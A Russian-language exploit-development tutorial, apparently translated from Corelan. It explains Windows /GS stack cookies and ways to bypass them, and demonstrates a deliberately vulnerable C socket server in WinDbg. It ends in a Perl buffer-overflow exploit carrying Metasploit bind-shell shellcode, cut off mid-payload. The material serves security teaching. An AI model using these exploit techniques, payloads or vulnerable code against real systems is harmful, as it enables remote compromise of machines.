Перейти к содержанию
Введение
Во всех предыдущих уроках, мы рассматривали создание эксплойтов, которые работали бы под операционными системами Windows XP / 2003.
Успех всех этих эксплойтов (в независимости от того, базируются ли они на прямой перезаписи адреса возврата или перезаписи структуры обработчика исключений) основан на том факте, что для их работы требуется найти надежный адрес (возврата или адрес, указывающий на последовательность инструкций pop/pop/ret), который застивит приложение перейти на ваш шеллкод. Во всех наших случаях, мы смогли найти более или менее надежные адреса либо в одной из DLL-библиотек исследуемого приложения, либо в одной из DLL-библиотек ОС. Даже после перезагрузки, найденый адрес оставался прежним, что давало возможность эксплойту надежно работать.
К счастью для несметного количества конечных пользователей Windows, в операционные системы Windows было встроено множество механизмов защиты, препятствующих этому:- Stack cookies (/GS параметр компилятора)
- Safeseh (/SAFESEH параметр линкера)
- Data Execution Prevention (DEP) (программная и аппаратная поддержка)
- Address Space Layout Randomization (ASLR)
Механизм защиты: Stack cookie /GS
Параметр /GS является опцией компилятора, который добавляет некоторый код в пролог и эпилог кода функций, который предназначен для того, чтобы предотвратить типичные атаки переполнения буфера.
В момент, когда запускается приложение, происходит вычисление основной cookie (размером 4 байт (DWORD), с типом unsigned int), после чего полученное значение (которое является псевдослучайным числом) сохраняется в секции .data, загруженного модуля. В дальнейшем, во время вызова защищенной функции, в её прологе, происходик копирование сохранённой cookie в стэк, сразу после сохранения EBP и EIP.
Code:
[buffer][cookie][saved EBP][saved EIP]
Затем в эпилоге функции, происходит сравнение основной cookie с сохраненной в стэке. Если они отличаются друг от друга, то менеджер cookie приходит к выводу, что произошло повреждение стэка и программа завершает свое выполнение.
Для того чтобы минимизировать влияние на производительность дополнительных строк кода, компилятор добавляет проверку cookie только в те функции, которые содержат строковые буферы или выделяют память в стэке с использованием _alloca. Кроме того, защита работает только тогда, когда буфер состоит из 5 и более байт.
В типичном переполнении буфера, стэк подвергается атаке, целью которой является перезапись сохраненного значения EIP при помощи контролируемых входящих данных. Но перед тем, как ваши данные перезапишут сохраненный EIP, они так же перезапишут cookie, делая экплойт безполезным (хотя, он все еще может привести к DoS-атаке). Эпилог функции заметит, что cookie была изменена, что приведет к завершению приложения.
Code:
[buffer][cookie][saved EBP][saved EIP]
[AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA]
^
|
Второй важным механизмом защиты /GS является переупорядочение переменных. Для того, чтобы предотвратить атаки на перезапись локальных переменных или аргументов функций, компилятор перестраивает стековый фрейм и помещает строковые буферы по более высоким адресам чем другие переменные. Таким образом, когда происходит переполнение буфера, оно не сможет перезаписать никакие другие локальные переменные.
Cookie, так же часто упоминаются как «canaries» (канарейки). Для более подробного знакомства с темой смотрите следующие статьи: http://en.wikipedia.org/wiki/Buffer_overflow_protection, http://blogs.technet.com/srd/archive...mitations.aspx и http://msdn.microsoft.com/en-us/libr...51(VS.71).aspx
Метод обхода: Stack cookie /GS
Наиболее простой способ обхода, механизма защиты стека от переполнения, требует, чтобы вы получили, вычислили или предугадали значение cookie (таким образом, вы сможете перезаписать cookie тем же значением, которое хранится в вашем буфере). Иногда (очень редко) cookie являются статическими … Но даже если это так, cookie может содержать плохие символы и вы не сможете использовать её значение.
Дэвид Личфилд еще в 2003 году написал статью о том, как можно обойти защиту стека, используя другие методы, которые не требует вычисления/предугадывания cookie. Наиболее же превосходная работа в этой области была сделана Алексом Соритовым, Марком Доудом и Мэттом Миллером.
В любом случае, Дэвид описал, что если перезаписанные cookie не совпадут с оригинальными, код будет искать пользовательский обработчик исключений. Если он не был установлен разработчиком, в работу включится обработчик исключений OC, который завершит работу приложения. Если хакер сможет перезаписать запись SEH-структуры (next SHE + Указатель на SEH-обработчик), «И» сможет вызвать исключение прежде чем, cookie будут проверены, то переполнение буфера может быть выполнено (SEH-ориентированный эксплойт), несмотря на наличие cookie.
В итоге, одним из наиболее важных ограничений параметра GS является то, что он не защищает записи обработчиков исключений. В данной точке, приложению нужно полагаться исключительно на механизмы защиты SEH (такие как SafeSEH, etc), чтобы справиться с подобными атаками, которые нацелены на перезапись SEH-записей.
В 2003 сервере (и поздних версиях ОС XP/Vista/7/8/…) структурные исключения были изменены, что усложнило использование этих сценариев атаки в более поздних версиях ОС. Сейчас обработчики исключений регистрируются в Load Configuration Directory. Так же, перед своим исполнением, их адреса сверяются со списком зарегистрированных обработчиков. То как это обойти мы обсудим позже в этом уроке.
Обход используя Exception Handling
И так, мы можем обойти защиту стека путем вызова исключение до того, как cookie будут проверены в эпилоге функции (или мы можем попытаться перезаписать другие данные (параметры, которые были помещены в стек уязвимой функцией), на которые ссылается функция до того, как будет осуществлена проверка cookie), и затем, возможно, иметь дело с механизмами защиты SEH, если они существуют… Конечно, второй метод будет работать только тогда, когда код, фактически, ссылается на эти данные. Если это так, вы можете попытаться злоупотребить этим, произведя запись за концом стека.
Code:
[buffer][cookie][EH record][saved ebp][saved eip][arguments ]
overwrite - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - >
Ключевым в этом сценарии является то, что вам нужно произвести перезапись стека достаточно далеко, и то, что у приложения существует конкретное, зарегистрированное исключение (которое будет перезаписано). Если вы контролируете адрес обработчика исключений (в структуре Exception_Registration), то вы можете попытаться перезаписать указатель адресом, который находится вне адресного пространства загруженного модуля (но, который, в любом случае, должен быть доступен в памяти, например, в модулях загруженных ОС и т.п). Большинство из модулей, в более новых версиях ОС Windows, скомпилированны с поддержкой SafeSEH, таким образом, это больше не работает.
Как было объяснено в Уроке 3, контролируемый указатель должен быть перезаписан адресом последовательности инструкций «POP/POP/RET» (благодаря чему, поток исполнения перейдет на nSEH, где мы в свою очередь, можем разместить код, который сделает «short jump» для перехода на наш шеллкод). В качестве альтернативы (или если вы не смогли найти последовательность инструкций «POP/POP/RET», в адресном пространстве модуля принадлежащего приложению) можно посмотреть на ESP/EBP, чтобы найти смещение от этих регистров до места размещения nSEH, после чего найти адрес, который бы указывал на одну из следующих инструкции:- call dword ptr [esp+nn]
- call dword ptr [ebp+nn]
- jmp dword ptr [esp+nn]
- jmp dword ptr[ebp+nn]
Где nn – это смещение от регистра до места размещения nSEH. И хотя, скорее всего, легче искать комбинацию «POP/POP/RET», альтернативный метод работает так же хорошо. Плагин pvefindaddr для Immunity Debugger может помочь вам в поиске нужных инструкций (!pvefindaddr jseh или !pvefindaddr jseh all). Кроме того, вы также можете использовать указатели на такие инструкции, как «ADD ESP,8 + RET». И снова, !pvefindaddr jseh (или !pvefindaddr jseh all) помогут вам с этим (данная опция добавлена в версию v1.17 плагина pvefindaddr).
Обход основанный на изменении cookie в стеке и в секции .data
Другой метод обхода защиты стека основанного на cookie состоит в том, чтобы изменить значение этих самых cookie в секции .data модуля (которая доступна для записи, иначе приложение не смогло бы вычислить новую cookie и сохранить её во время выполнения), и заменить cookie в стеке новым, измененным значением. Этот метод возможен только в том случае, когда вы имеете возможность писать что-либо в любое место. Если быть более точным, то нужно иметь возможность записать произвольное, 4 байтовое значение. Осуществить это можно с помощью инструкции указанной ниже:
Code:
mov dword ptr[reg1], reg2
Очевидно, что для того чтобы заставить это работать, нужно иметь возможность контролировать содержимое обоих регистров reg1 и reg2. При этом reg1 должен содержать адрес в памяти, по которому вы хотите записать требуемое значение, а reg2 должен содержать это самое значение.
Обход потому что не все буферы защищены
Другая возможность для атаки появляется тогда, когда уязвимый код не содержит строковый буфер (потому что такой стек не будет содержать cookie). Это также справедливо для массивов целых чисел или указателей.
Code:
[buffer][cookie][EH record][saved ebp][saved eip][arguments ]
Пример: Если «аргументы» не содержат указатель на строковый буфер, то вы можете перезаписать эти аргументы и воспользоваться тем фактом, что функция не защищена при помощи GS.
Обход основанный на перезаписи данных стека в функциях находящихся выше стека
Когда указатели на объекты или структуры передаются в функции, и эти объекты или структуры размещены в стеке вызывавших их функций (родительских функций), то это может привести к обходу GS-защиты (перезаписи объекта и указателя на vtable. Если вы замените указатель на vtable, фейковым указателем на vtable, то сможете перенаправить вызов виртуальной функции и выполнить зловредный код).
Обход потому что вы можете предугадать/вычислить cookie
Reducing the Effective Entropy of GS Cookies
Обход потому что cookie статические
В конечном счёте, если значение cookie остается тем же самым/статическим каждый раз, когда вы запускаете программу, то вы можете просто положить это значение в стек во время перезаписи.
Демонстрация отладки механизма защиты стека основанного на cookie
Чтобы продемонстрировать поведение работы cookie, воспользуемся простым куском кода, который можно найти тут (который использовался в Уроке 4).
Этот код содержит уязвимую функцию pr(), которая вызовет переполнение буфера, в случае, если ей будет передано свыше 500-та байт.
Откройте Visual Studio C++ 2008 (Express версию можно загрузить тут) и создайте новое консольное приложение.
Я немного модифицировал оригинальный код, чтобы он мог быть скомпилирован под VS 2008.
Code: C/C++
// vulnerable server.cpp : Defines the entry point for the console application.
//
#include "stdafx.h"
#include "winsock.h"
#include "windows.h"
//load windows socket
#pragma comment(lib, "wsock32.lib")
//Define Return Messages
#define SS_ERROR 1
#define SS_OK 0
void pr( char *str)
{
char buf[500]=" ";
strcpy(buf,str);
}
void sError(char *str)
{
printf("Error %s",str);
WSACleanup();
}
int _tmain(int argc, _TCHAR* argv[])
{
WORD sockVersion;
WSADATA wsaData;
int rVal;
char Message[5000]=" ";
char buf[2000]=" ";
u_short LocalPort;
LocalPort = 200;
//wsock32 initialized for usage
sockVersion = MAKEWORD(1,1);
WSAStartup(sockVersion, &wsaData);
//create server socket
SOCKET serverSocket = socket(AF_INET, SOCK_STREAM, 0);
if(serverSocket == INVALID_SOCKET)
{
sError("Failed socket()");
return SS_ERROR;
}
SOCKADDR_IN sin;
sin.sin_family = PF_INET;
sin.sin_port = htons(LocalPort);
sin.sin_addr.s_addr = INADDR_ANY;
//bind the socket
rVal = bind(serverSocket, (LPSOCKADDR)&sin, sizeof(sin));
if(rVal == SOCKET_ERROR)
{
sError("Failed bind()");
WSACleanup();
return SS_ERROR;
}
//get socket to listen
rVal = listen(serverSocket, 10);
if(rVal == SOCKET_ERROR)
{
sError("Failed listen()");
WSACleanup();
return SS_ERROR;
}
//wait for a client to connect
SOCKET clientSocket;
clientSocket = accept(serverSocket, NULL, NULL);
if(clientSocket == INVALID_SOCKET)
{
sError("Failed accept()");
WSACleanup();
return SS_ERROR;
}
int bytesRecv = SOCKET_ERROR;
while( bytesRecv == SOCKET_ERROR )
{
//receive the data that is being sent by the client max limit to 5000 bytes.
bytesRecv = recv( clientSocket, Message, 5000, 0 );
if ( bytesRecv == 0 || bytesRecv == WSAECONNRESET )
{
printf( "\nConnection Closed.\n");
break;
}
}
//Pass the data received to the function pr
pr(Message);
//close client socket
closesocket(clientSocket);
//close server socket
closesocket(serverSocket);
WSACleanup();
return SS_OK;
}
Отредактируйте свойства проекта «vulnerable server»

Перейдите в «C/C++ => Code Generation» и установите «Buffer Security Check» в «No».

Скомпилируйте код в отладочном режиме (debug mode).
Откройте «vulnerable server.exe» в вашем любимом отладчике и посмотрите на код функции pr():
Code:
(8c0.9c8): Break instruction exception - code 80000003 (first chance)
eax=7ffde000 ebx=00000001 ecx=00000002 edx=00000003 esi=00000004 edi=00000005
eip=7c90120e esp=0039ffcc ebp=0039fff4 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=0038 gs=0000 efl=00000246
ntdll!DbgBreakPoint:
7c90120e cc int 3
0:001> uf pr
*** WARNING: Unable to verify checksum for C:\Documents and Settings\peter\My Documents\Visual Studio 2008\Projects\vulnerable server\Debug\vulnerable server.exe
vulnerable_server!pr [c:\documents and settings\peter\my documents\visual studio 2008\projects\vulnerable server\vulnerable server\vulnerable server.cpp @ 17]:
17 00411430 55 push ebp
17 00411431 8bec mov ebp,esp
17 00411433 81ecbc020000 sub esp,2BCh
17 00411439 53 push ebx
17 0041143a 56 push esi
17 0041143b 57 push edi
17 0041143c 8dbd44fdffff lea edi,[ebp-2BCh]
17 00411442 b9af000000 mov ecx,0AFh
17 00411447 b8cccccccc mov eax,0CCCCCCCCh
17 0041144c f3ab rep stos dword ptr es:[edi]
18 0041144e a03c574100 mov al,byte ptr [vulnerable_server!`string' (0041573c)]
18 00411453 888508feffff mov byte ptr [ebp-1F8h],al
18 00411459 68f3010000 push 1F3h
18 0041145e 6a00 push 0
18 00411460 8d8509feffff lea eax,[ebp-1F7h]
18 00411466 50 push eax
18 00411467 e81bfcffff call vulnerable_server!ILT+130(_memset) (00411087)
18 0041146c 83c40c add esp,0Ch
19 0041146f 8b4508 mov eax,dword ptr [ebp+8]
19 00411472 50 push eax
19 00411473 8d8d08feffff lea ecx,[ebp-1F8h]
19 00411479 51 push ecx
19 0041147a e83ffcffff call vulnerable_server!ILT+185(_strcpy) (004110be)
19 0041147f 83c408 add esp,8
20 00411482 52 push edx
20 00411483 8bcd mov ecx,ebp
20 00411485 50 push eax
20 00411486 8d15a8144100 lea edx,[vulnerable_server!pr+0x78 (004114a8)]
20 0041148c e80ffcffff call vulnerable_server!ILT+155(_RTC_CheckStackVars (004110a0)
20 00411491 58 pop eax
20 00411492 5a pop edx
20 00411493 5f pop edi
20 00411494 5e pop esi
20 00411495 5b pop ebx
20 00411496 81c4bc020000 add esp,2BCh
20 0041149c 3bec cmp ebp,esp
20 0041149e e8cffcffff call vulnerable_server!ILT+365(__RTC_CheckEsp) (00411172)
20 004114a3 8be5 mov esp,ebp
20 004114a5 5d pop ebp
20 004114a6 c3 ret
Как вы можете видеть, пролог функции вообще не содержит никаких ссылок на security cookie.
Теперь пересоберите исполняемый файл с включенным флагом /GS (установите «Buffer Security Check» в «On») и снова посмотрите на функцию pr():
Code:
(738.828): Break instruction exception - code 80000003 (first chance)
eax=00251eb4 ebx=7ffdc000 ecx=00000002 edx=00000004 esi=00251f48 edi=00251eb4
eip=7c90120e esp=0012fb20 ebp=0012fc94 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
ntdll!DbgBreakPoint:
7c90120e cc int 3
0:000> uf pr
*** WARNING: Unable to verify checksum for vulnerable server.exe
vulnerable_server!pr [c:\documents and settings\peter\my documents\visual studio 2008\projects\vulnerable server\vulnerable server\vulnerable server.cpp @ 17]:
17 00411430 55 push ebp
17 00411431 8bec mov ebp,esp
17 00411433 81ecc0020000 sub esp,2C0h
17 00411439 53 push ebx
17 0041143a 56 push esi
17 0041143b 57 push edi
17 0041143c 8dbd40fdffff lea edi,[ebp-2C0h]
17 00411442 b9b0000000 mov ecx,0B0h
17 00411447 b8cccccccc mov eax,0CCCCCCCCh
17 0041144c f3ab rep stos dword ptr es:[edi]
17 0041144e a100704100 mov eax,dword ptr [vulnerable_server!__security_cookie (00417000)]
17 00411453 33c5 xor eax,ebp
17 00411455 8945fc mov dword ptr [ebp-4],eax
18 00411458 a03c574100 mov al,byte ptr [vulnerable_server!`string' (0041573c)]
18 0041145d 888504feffff mov byte ptr [ebp-1FCh],al
18 00411463 68f3010000 push 1F3h
18 00411468 6a00 push 0
18 0041146a 8d8505feffff lea eax,[ebp-1FBh]
18 00411470 50 push eax
18 00411471 e811fcffff call vulnerable_server!ILT+130(_memset) (00411087)
18 00411476 83c40c add esp,0Ch
19 00411479 8b4508 mov eax,dword ptr [ebp+8]
19 0041147c 50 push eax
19 0041147d 8d8d04feffff lea ecx,[ebp-1FCh]
19 00411483 51 push ecx
19 00411484 e835fcffff call vulnerable_server!ILT+185(_strcpy) (004110be)
19 00411489 83c408 add esp,8
20 0041148c 52 push edx
20 0041148d 8bcd mov ecx,ebp
20 0041148f 50 push eax
20 00411490 8d15bc144100 lea edx,[vulnerable_server!pr+0x8c (004114bc)]
20 00411496 e805fcffff call vulnerable_server!ILT+155(_RTC_CheckStackVars (004110a0)
20 0041149b 58 pop eax
20 0041149c 5a pop edx
20 0041149d 5f pop edi
20 0041149e 5e pop esi
20 0041149f 5b pop ebx
20 004114a0 8b4dfc mov ecx,dword ptr [ebp-4]
20 004114a3 33cd xor ecx,ebp
20 004114a5 e879fbffff call vulnerable_server!ILT+30(__security_check_cookie (00411023)
20 004114aa 81c4c0020000 add esp,2C0h
20 004114b0 3bec cmp ebp,esp
20 004114b2 e8bbfcffff call vulnerable_server!ILT+365(__RTC_CheckEsp) (00411172)
20 004114b7 8be5 mov esp,ebp
20 004114b9 5d pop ebp
20 004114ba c3 ret
Теперь в прологе функции происходят следующие вещи:- sub esp,2c0h : выделяется 704 байта
- mov eax,dword ptr[vulnerable_server!__security_cookie (00417000)] : извлекается копия cookie
- xor eax,ebp : cookie ксорится (xor) с EBP
- После чего, cookie сохраняется в стек, прямо под адресом возврата
В эпилоге функции, происходит следующее:- mov ecx,dword ptr [ebp-4] : из стека извлекается копия cookie
- xor ecx,ebp : снова выполняется xor
- call vulnerable_server!ITL+30(__security_check_cookie (00411023) : переход к процедуре которая осуществляет проверку cookie
Короче говоря: security cookie добавляются в стек и сравниваются перед выходом из функции.
Когда вы попытаетесь переполнить этот буфер, послав свыше 500-та байт в порт 200, приложение завершит свою работу (в отладчике, приложение перейдет на брейкпойнт – неинициализированные переменные, которые заполняются опкодом 0xCC, во время выполнения программы, когда та скомпилирована в VS 2008, из-за RTC), а ESP будет содержать следующее:
Code:
(a38.444): Break instruction exception - code 80000003 (first chance)
eax=00000001 ebx=0041149b ecx=bb522d78 edx=0012cb9b esi=102ce7b0 edi=00000002
eip=7c90120e esp=0012cbbc ebp=0012da08 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
ntdll!DbgBreakPoint:
7c90120e cc int 3
0:000> d esp
0012cbbc 06 24 41 00 00 00 00 00-01 5c 41 00 2c da 12 00 .$A......\A.,...
0012cbcc 2c da 12 00 00 00 00 00-dc cb 12 00 b0 e7 2c 10 ,.............,.
0012cbdc 53 00 74 00 61 00 63 00-6b 00 20 00 61 00 72 00 S.t.a.c.k. .a.r.
0012cbec 6f 00 75 00 6e 00 64 00-20 00 74 00 68 00 65 00 o.u.n.d. .t.h.e.
0012cbfc 20 00 76 00 61 00 72 00-69 00 61 00 62 00 6c 00 .v.a.r.i.a.b.l.
0012cc0c 65 00 20 00 27 00 62 00-75 00 66 00 27 00 20 00 e. .'.b.u.f.'. .
0012cc1c 77 00 61 00 73 00 20 00-63 00 6f 00 72 00 72 00 w.a.s. .c.o.r.r.
0012cc2c 75 00 70 00 74 00 65 00-64 00 2e 00 00 00 00 00 u.p.t.e.d.......
Текст «Stack around the variable ‘buf’ was corrupted» содержащийся в ESP является результатом проверки RTC (Run Time Check), которая включена в VS 2008. Отключение этой проверки (в Visual Studio) может быть выполнено либо путем отключения оптимизации, либо путем установки параметра /RTCu. Конечно, в реальной жизни, вы не станете этого делать, так как она эффективно противостоит повреждениям стека.
Когда вы скомпилируете оригинальный код при помощи lcc-win32 (который не встраивает никакой защиты, оставляя исполняемый файл уязвимым) и откроете его в WinDbg (не выполняя бинарный файл), а затем посмотрите на нашу функцию, то увидите следующее:
Code:
(82c.af4): Break instruction exception - code 80000003 (first chance)
eax=00241eb4 ebx=7ffd7000 ecx=00000005 edx=00000020 esi=00241f48 edi=00241eb4
eip=7c90120e esp=0012fb20 ebp=0012fc94 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
ntdll!DbgBreakPoint:
7c90120e cc int 3
0:000> uf pr
*** WARNING: Unable to verify checksum for c:\sploits\vulnsrv\\vulnsrv.exe
vulnsrv!pr:
004012d4 55 push ebp
004012d5 89e5 mov ebp,esp
004012d7 81ecf4010000 sub esp,1F4h
004012dd b97d000000 mov ecx,7Dh
vulnsrv!pr+0xe:
004012e2 49 dec ecx
004012e3 c7048c5a5afaff mov dword ptr [esp+ecx*4],0FFFA5A5Ah
004012ea 75f6 jne vulnsrv!pr+0xe (004012e2)
vulnsrv!pr+0x18:
004012ec 56 push esi
004012ed 57 push edi
004012ee 8dbd0cfeffff lea edi,[ebp-1F4h]
004012f4 8d35a0a04000 lea esi,[vulnsrv!main+0x8d6e (0040a0a0)]
004012fa b9f4010000 mov ecx,1F4h
004012ff f3a4 rep movs byte ptr es:[edi],byte ptr [esi]
00401301 ff7508 push dword ptr [ebp+8]
00401304 8dbd0cfeffff lea edi,[ebp-1F4h]
0040130a 57 push edi
0040130b e841300000 call vulnsrv!main+0x301f (00404351)
00401310 83c408 add esp,8
00401313 5f pop edi
00401314 5e pop esi
00401315 c9 leave
00401316 c3 ret
Теперь если вы пошлете 1000-че символьный Metasploit паттерн, то сервер (не скомпилированный с поддержкой /GS) умрет, показав следующее:
Code:
(c60.cb0): Access violation - code c0000005 (!!! second chance !!!)
eax=0012e656 ebx=00000000 ecx=0012e44e edx=0012e600 esi=00000001 edi=00403388
eip=72413971 esp=0012e264 ebp=41387141 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
72413971 ?? ???
0:000> !load byakugan
[Byakugan] Successfully loaded!
0:000> !pattern_offset 1000
[Byakugan] Control of ebp at offset 504.
[Byakugan] Control of eip at offset 508.
Из вывода видно, что мы контролируем EIP по смещению в 508 байт, а ESP указывает на часть нашего буфера:
Code:
0:000> d esp
0012e264 30 41 72 31 41 72 32 41-72 33 41 72 34 41 72 35 0Ar1Ar2Ar3Ar4Ar5
0012e274 41 72 36 41 72 37 41 72-38 41 72 39 41 73 30 41 Ar6Ar7Ar8Ar9As0A
0012e284 73 31 41 73 32 41 73 33-41 73 34 41 73 35 41 73 s1As2As3As4As5As
0012e294 36 41 73 37 41 73 38 41-73 39 41 74 30 41 74 31 6As7As8As9At0At1
0012e2a4 41 74 32 41 74 33 41 74-34 41 74 35 41 74 36 41 At2At3At4At5At6A
0012e2b4 74 37 41 74 38 41 74 39-41 75 30 41 75 31 41 75 t7At8At9Au0Au1Au
0012e2c4 32 41 75 33 41 75 34 41-75 35 41 75 36 41 75 37 2Au3Au4Au5Au6Au7
0012e2d4 41 75 38 41 75 39 41 76-30 41 76 31 41 76 32 41 Au8Au9Av0Av1Av2A
0:000> d
0012e2e4 76 33 41 76 34 41 76 35-41 76 36 41 76 37 41 76 v3Av4Av5Av6Av7Av
0012e2f4 38 41 76 39 41 77 30 41-77 31 41 77 32 41 77 33 8Av9Aw0Aw1Aw2Aw3
0012e304 41 77 34 41 77 35 41 77-36 41 77 37 41 77 38 41 Aw4Aw5Aw6Aw7Aw8A
0012e314 77 39 41 78 30 41 78 31-41 78 32 41 78 33 41 78 w9Ax0Ax1Ax2Ax3Ax
0012e324 34 41 78 35 41 78 36 41-78 37 41 78 38 41 78 39 4Ax5Ax6Ax7Ax8Ax9
0012e334 41 79 30 41 79 31 41 79-32 41 79 33 41 79 34 41 Ay0Ay1Ay2Ay3Ay4A
0012e344 79 35 41 79 36 41 79 37-41 79 38 41 79 39 41 7a y5Ay6Ay7Ay8Ay9Az
0012e354 30 41 7a 31 41 7a 32 41-7a 33 41 7a 34 41 7a 35 0Az1Az2Az3Az4Az5
0:000> d
0012e364 41 7a 36 41 7a 37 41 7a-38 41 7a 39 42 61 30 42 Az6Az7Az8Az9Ba0B
0012e374 61 31 42 61 32 42 61 33-42 61 34 42 61 35 42 61 a1Ba2Ba3Ba4Ba5Ba
0012e384 36 42 61 37 42 61 38 42-61 39 42 62 30 42 62 31 6Ba7Ba8Ba9Bb0Bb1
0012e394 42 62 32 42 62 33 42 62-34 42 62 35 42 62 36 42 Bb2Bb3Bb4Bb5Bb6B
0012e3a4 62 37 42 62 38 42 62 39-42 63 30 42 63 31 42 63 b7Bb8Bb9Bc0Bc1Bc
0012e3b4 32 42 63 33 42 63 34 42-63 35 42 63 36 42 63 37 2Bc3Bc4Bc5Bc6Bc7
0012e3c4 42 63 38 42 63 39 42 64-30 42 64 31 42 64 32 42 Bc8Bc9Bd0Bd1Bd2B
0012e3d4 64 33 42 64 34 42 64 35-42 64 36 42 64 37 42 64 d3Bd4Bd5Bd6Bd7Bd
ESP указывает на буфер по смещению в 512 байт.
Code:
$ ./pattern_offset.rb 0Ar1 1000
512
Ниже представлен наколеночный эксплойт (с «JMP ESP» из kernel32.dll: 0x7C874413)
Code: Perl
#
# Writing buffer overflows - Tutorial
# Peter Van Eeckhoutte
# http://www.corelan.be:8800
#
# Exploit for vulnsrv.c
#
#
print " --------------------------------------\n";
print " Writing Buffer Overflows\n";
print " Peter Van Eeckhoutte\n";
print " http://www.corelan.be:8800\n";
print " --------------------------------------\n";
print " Exploit for vulnsrv.c\n";
print " --------------------------------------\n";
use strict;
use Socket;
my $junk = "\x90" x 508;
#jmp esp (kernel32.dll)
my $eipoverwrite = pack('V',0x7C874413);
# windows/shell_bind_tcp - 702 bytes
# http://www.metasploit.com
# Encoder: x86/alpha_upper
# EXITFUNC=seh, LPORT=5555, RHOST=
my $shellcode="\x89\xe0\xd9\xd0\xd9\x70\xf4\x59\x49\x 49\x49\x49\x49\x43" .
"\x43\x43\x43\x43\x43\x51\x5a\x56\x54\x58\x33\x30\ x56\x58" .
"\x34\x41\x50\x30\x41\x33\x48\x48\x30\x41\x30\x30\ x41\x42" .
"\x41\x41\x42\x54\x41\x41\x51\x32\x41\x42\x32\x42\ x42\x30" .
"\x42\x42\x58\x50\x38\x41\x43\x4a\x4a\x49\x4b\x4c\ x42\x4a" .
"\x4a\x4b\x50\x4d\x4d\x38\x4c\x39\x4b\x4f\x4b\x4f\ x4b\x4f" .
"\x45\x30\x4c\x4b\x42\x4c\x51\x34\x51\x34\x4c\x4b\ x47\x35" .
"\x47\x4c\x4c\x4b\x43\x4c\x43\x35\x44\x38\x45\x51\ x4a\x4f" .
"\x4c\x4b\x50\x4f\x44\x58\x4c\x4b\x51\x4f\x47\x50\ x43\x31" .
"\x4a\x4b\x47\x39\x4c\x4b\x46\x54\x4c\x4b\x43\x31\ x4a\x4e" .
"\x50\x31\x49\x50\x4a\x39\x4e\x4c\x4c\x44\x49\x50\ x42\x54" .
"\x45\x57\x49\x51\x48\x4a\x44\x4d\x45\x51\x48\x42\ x4a\x4b" .
"\x4c\x34\x47\x4b\x46\x34\x46\x44\x51\x38\x42\x55\ x4a\x45" .
"\x4c\x4b\x51\x4f\x51\x34\x43\x31\x4a\x4b\x43\x56\ x4c\x4b" .
"\x44\x4c\x50\x4b\x4c\x4b\x51\x4f\x45\x4c\x43\x31\ x4a\x4b" .
"\x44\x43\x46\x4c\x4c\x4b\x4b\x39\x42\x4c\x51\x34\ x45\x4c" .
"\x45\x31\x49\x53\x46\x51\x49\x4b\x43\x54\x4c\x4b\ x51\x53" .
"\x50\x30\x4c\x4b\x47\x30\x44\x4c\x4c\x4b\x42\x50\ x45\x4c" .
"\x4e\x4d\x4c\x4b\x51\x50\x44\x48\x51\x4e\x43\x58\ x4c\x4e" .
"\x50\x4e\x44\x4e\x4a\x4c\x46\x30\x4b\x4f\x4e\x36\ x45\x36" .
"\x51\x43\x42\x46\x43\x58\x46\x53\x47\x42\x45\x38\ x43\x47" .
"\x44\x33\x46\x52\x51\x4f\x46\x34\x4b\x4f\x48\x50\ x42\x48" .
"\x48\x4b\x4a\x4d\x4b\x4c\x47\x4b\x46\x30\x4b\x4f\ x48\x56" .
"\x51\x4f\x4c\x49\x4d\x35\x43\x56\x4b\x31\x4a\x4d\ x45\x58" .
"\x44\x42\x46\x35\x43\x5a\x43\x32\x4b\x4f\x4e\x30\ x45\x38" .
"\x48\x59\x45\x59\x4a\x55\x4e\x4d\x51\x47\x4b\x4f\ x48\x56" .
"\x51\x43\x50\x53\x50\x53\x46\x33\x46\x33\x51\x53\ x50\x53" .
"\x47\x33\x46\x33\x4b\x4f\x4e\x30\x42\x46\x42\x48\ x42\x35" .
"\x4e\x53\x45\x36\x50\x53\x4b\x39\x4b\x51\x4c\x55\ x43\x58" .
"\x4e\x44\x45\x4a\x44\x30\x49\x57\x46\x37\x4b\x4f\ x4e\x36" .
"\x42\x4a\x44\x50\x50\x51\x50\x55\x4b\x4f\x48\x50\ x45\x38" .
"\x49\x34\x4e\x4d\x46\x4e\x4a\x49\x50\x57\x4b\x4f\ x49\x46" .
"\x46\x33\x50\x55\x4b\x4f\x4e\x30\x42\x48\x4d\x35\ x51\x59" .
"\x4c\x46\x51\x59\x51\x47\x4b\x4f\x49\x46\x46\x30\ x50\x54" .
"\x46\x34\x50\x55\x4b\x4f\x48\x50\x4a\x33\x43\x58\ x4b\x57" .
"\x43\x49\x48\x46\x44\x39\x51\x47\x4b\x4f\x4e\x36\ x46\x35" .
"\x4b\x4f\x48\x50\x43\x56\x43\x5a\x45\x34\x42\x46\ x45\x38" .
"\x43\x53\x42\x4d\x4b\x39\x4a\x45\x42\x4a\x50\x50\ x50\x59" .
"\x47\x59\x48\x4c\x4b\x39\x4d\x37\x42\x4a\x47\x34\ x4c\x49" .
"\x4b\x52\x46\x51\x49\x50\x4b\x43\x4e\x4a\x4b\x4e\ x47\x32" .
"\x46\x4d\x4b\x4e\x50\x42\x46\x4c\x4d\x43\x4c\x4d\ x42\x5a" .
"\x46\x58\x4e\x4b\x4e\x4b\x4e\x4b\x43\x58\x43\x42\ x4b\x4e" .
"\x48\x33\x42\x36\x4b\x4f\x43\x45\x51\x54\x4b\x4f\ x48\x56" .
"\x51\x4b\x46\x37\x50\x52\x50\x51\x50\x51\x50\x51\ x43\x5a" .
"\x45\x51\x46\x31\x50\x51\x51\x45\x50\x51\x4b\x4f\ x4e\x30" .
"\x43\x58\x4e\x4d\x49\x49\x44\x45\x48\x4e\x46\x33\ x4b\x4f" .
"\x48\x56\x43\x5a\x4b\x4f\x4b\x4f\x50\x37\x4b\x4f\ x4e\x30" .
"\x4c\x4b\x51\x47\x4b\x4c\x4b\x33\x49\x54\x42\x44\ x4b\x4f" .
"\x48\x56\x51\x42\x4b\x4f\x48\x50\x43\x58\x4a\x50\ x4c\x4a" .
